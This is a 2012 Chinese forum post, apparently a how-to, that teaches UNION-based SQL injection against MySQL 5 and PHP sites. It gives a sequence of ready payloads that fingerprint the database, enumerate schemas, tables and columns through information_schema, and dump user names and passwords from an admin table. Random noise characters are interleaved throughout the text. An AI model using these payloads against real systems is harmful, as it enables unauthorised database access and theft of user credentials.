& S: J2 j+ ?; W1 l9 Z/ X, a
教程内容:Mysql 5+php 注入
: E: y, ]& ~% x/ }( C9 j3 T# B0 _+ ]3 l: `3 f# ^# u
; _9 j3 j; o# l. y# _9 v) [6 I9 I" n. M
! c; A/ b$ [8 I一.查看MYSQL基本信息(库名,版本,用户)7 J8 o1 w" h5 O- x+ ^
* o- \) F/ m/ L3 |( A; t' ^and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
8 s& N. ?5 B& E
5 w% {9 d% U s8 W( b: x& _+ _二.查数据库
8 u& N# S) i- |. g Z, n `
$ G. ^8 S7 F; Q/ ^and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
) \5 p0 Q5 X$ f. ?limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。- r4 L0 P/ u% I3 ]+ ~
1 n+ e& h. w( a1 g0 G
三.暴表
& e& Q: F8 e6 Y; H$ W: J! S0 E A: ?* [7 G, m& }
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
; X$ D+ a0 q& A6 I
: O! N# C. U; _limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
, P7 k/ L8 e+ v" j9 u9 p
6 j0 n+ [. q; k* J% z) t四.暴字段
; W, v' M1 t# G$ c/ d8 {( X+ z4 g/ N U' o9 \$ }. t% d
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
% T' Y$ m) o& E W' N1 }9 k3 C' a3 g/ r7 f+ o) `( V) f
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
; R2 A' A9 a' i8 ?
/ A1 c: \. r `0 e' W3 a2 { n5 q/ ]- d五.暴数据
/ O( j3 A. L4 @5 C6 K( f' y6 T0 W5 W7 R9 f! g4 A% \9 O
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
* I, F. W8 {7 m7 l; f' X# W4 z; z& |9 a: U5 t* \
4 t9 r, d8 o" G! q) `+ x) G这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
) J% T8 R2 ]3 L& R+ F" U) a7 y% ? |
发表于 2012-9-13 16:27:53
收藏
支持
反对